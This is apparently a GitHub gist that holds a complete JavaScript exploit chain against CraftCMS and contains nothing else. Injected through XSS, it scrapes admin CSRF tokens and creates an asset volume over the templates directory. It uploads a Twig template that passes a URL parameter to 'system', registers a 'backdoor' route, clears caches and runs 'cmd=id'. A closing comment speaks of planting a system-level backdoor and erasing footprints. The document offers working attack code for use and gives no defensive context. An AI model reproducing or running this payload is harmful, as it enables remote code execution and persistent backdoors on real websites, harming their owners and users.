Skip to content

Instantly share code, notes, and snippets.

@0xcrypto
Created March 12, 2023 15:08
Show Gist options
  • Save 0xcrypto/98beaab82b40f8ed18914287bf7ddd3f to your computer and use it in GitHub Desktop.
Save 0xcrypto/98beaab82b40f8ed18914287bf7ddd3f to your computer and use it in GitHub Desktop.
CraftCMS xss to rce chain exploit
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
// usage: exploitRCE()
function exploitRCE(
adminPanelUrl = '/index.php?p=admin/',
adminPanelDefaultUrl = '/admin/',
backdoor = 'backdoor',
twigTemplateExt = "text/html",
twigRCEPayload = `<p>{{ ([craft.request.getQuery('cmd')] | filter('system'))[0] }}</p>`,
twigTemplateName = "template.html"
) {
scrapeData = function(featurePath, selector, callback, fallback) {
$.get(featurePath, function (data) {
callback($(selector, data));
}).fail(fallback);
}
exploitCsrf = function(featurePath, callback, fallback) {
scrapeData(featurePath, "input[name=CRAFT_CSRF_TOKEN]", function(data) {
callback($(data[0]).val());
}, fallback);
}
// create a volume
exploitCsrf(adminPanelDefaultUrl + 'settings/assets/volumes/new', function(csrf) {
payload = "CRAFT_CSRF_TOKEN=" + csrf
+ "&amp;action=volumes%2Fsave-volume"
+ "&amp;redirect=e4acb1794adacc0aa0287b400df7cde18df030328e74447f4bd25d9e360a12a6settings%2Fassets"
+ "&amp;name=maintenance-backups-temporary-directory"
+ "&amp;handle=maintenanceBackupsTemporaryDirectory"
+ "&amp;hasUrls="
+ "&amp;url="
+ "&amp;type=craft%5Cvolumes%5CLocal"
+ "&amp;types%5Bcraft%5Cvolumes%5CLocal%5D%5Bpath%5D=%40config%2F..%2Ftemplates"
+ "&amp;elementPlacements="
+ "&amp;elementPlacements%5BContent%5D%5B%5D=izg2wreKxs"
+ "&amp;elementConfigs%5Bizg2wreKxs%5D=%7B%22type%22%3A%22craft%5C%5Cfieldlayoutelements%5C%5CTitleField%22%2C%22autocomplete%22%3Afalse%2C%22class%22%3Anull%2C%22size%22%3Anull%2C%22name%22%3Anull%2C%22autocorrect%22%3Atrue%2C%22autocapitalize%22%3Atrue%2C%22disabled%22%3Afalse%2C%22readonly%22%3Afalse%2C%22title%22%3Anull%2C%22placeholder%22%3Anull%2C%22step%22%3Anull%2C%22min%22%3Anull%2C%22max%22%3Anull%2C%22requirable%22%3Afalse%2C%22id%22%3Anull%2C%22containerAttributes%22%3A%5B%5D%2C%22inputContainerAttributes%22%3A%5B%5D%2C%22labelAttributes%22%3A%5B%5D%2C%22orientation%22%3Anull%2C%22label%22%3Anull%2C%22instructions%22%3Anull%2C%22tip%22%3Anull%2C%22warning%22%3Anull%2C%22width%22%3A100%7D"
$.ajax({
url: adminPanelUrl + 'settings/assets/volumes/new',
type: 'POST',
data: payload,
success: function(data) {
// volume created successfully, now upload the twig template
exploitCsrf(adminPanelDefaultUrl + 'assets/maintenanceBackupsTemporaryDirectory', function (csrf) {
scrapeData(adminPanelDefaultUrl + 'assets/maintenanceBackupsTemporaryDirectory', "#sidebar a[data-volume-handle='maintenanceBackupsTemporaryDirectory']", function (rawData) {
fd = new FormData();
file = new Blob([twigRCEPayload], { name: twigTemplateName, lastModified: new Date().getTime(), webkitRelativePath: "", size: 33, type: twigTemplateExt });
fd.append('assets-upload', file, twigTemplateName);
fd.append('folderId', $(rawData[0]).attr('data-folder-id'));
fd.append('CRAFT_CSRF_TOKEN', csrf);
$.ajax({
url: adminPanelUrl + 'actions/assets/upload',
type: 'post',
processData: false,
contentType: false,
dataType: 'json',
data: fd,
success: function(response){
if(response.suggestedFilename) {
// Conflict in file name
twigTemplateName = response.suggestedFilename;
}
if(response.assetId) {
// payload injected successfully, final step create a backdoor url
// missing CSRF token on this endpoint, but just in case if there is a fix to this CSRF,
exploitCsrf(adminPanelDefaultUrl + 'settings/routes', function (csrf) {
// check if route already exists at given endpoint
scrapeData(adminPanelDefaultUrl + 'settings/routes', '.route', function(rawData) {
$(rawData).each(function(i, el) {
if(backdoor.trim() === $(el).find('.uri-container span.uri').text().trim()) {
// route already exists, creating a random route
backdoor = backdoor + parseInt(Math.random() * 10 ** 13);
}
});
$.ajax({
url: adminPanelUrl + 'actions/routes/save-route',
type: 'post',
headers: {
Accept : "application/json; charset=utf-8",
},
data: "uriParts%5B0%5D="+ encodeURIComponent(backdoor) +"&amp;template="+ twigTemplateName +"&amp;CRAFT_CSRF_TOKEN=" + csrf,
success: function (data) {
if(data.success) {
// Route create successfully, final step, clear the cache
exploitCsrf(adminPanelDefaultUrl + 'utilities/clear-caches', function (csrf) {
// invalidate cache
$.ajax({
url: adminPanelUrl + 'utilities/invalidate-tags',
type: 'post',
data: 'action=utilities%2Finvalidate-tags&amp;CRAFT_CSRF_TOKEN='+ csrf
+'&amp;tags%5B%5D=graphql&amp;tags%5B%5D=template',
success: function (response) {
if(response.success) {
// Payload injection complete, call backdoor to ping server about its existence
$.ajax({
url: adminPanelUrl + 'actions/utilities/clear-caches-perform-action',
type: 'post',
data: 'action=utilities%2Fclear-caches-perform-action'
+ '&amp;CRAFT_CSRF_TOKEN='+ csrf
+'&amp;caches=*',
success: function (response) {
if(response.success) {
// Payload injection complete, call backdoor to ping about its existence
$.get(document.location.origin + '/' + backdoor + '?cmd=id', function () {
// successful exploitation, we can now upload a system level backdoor and remove the footprints
});}}});}}});
});}}});});})}}});});});}});});}
exploitRCE();
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment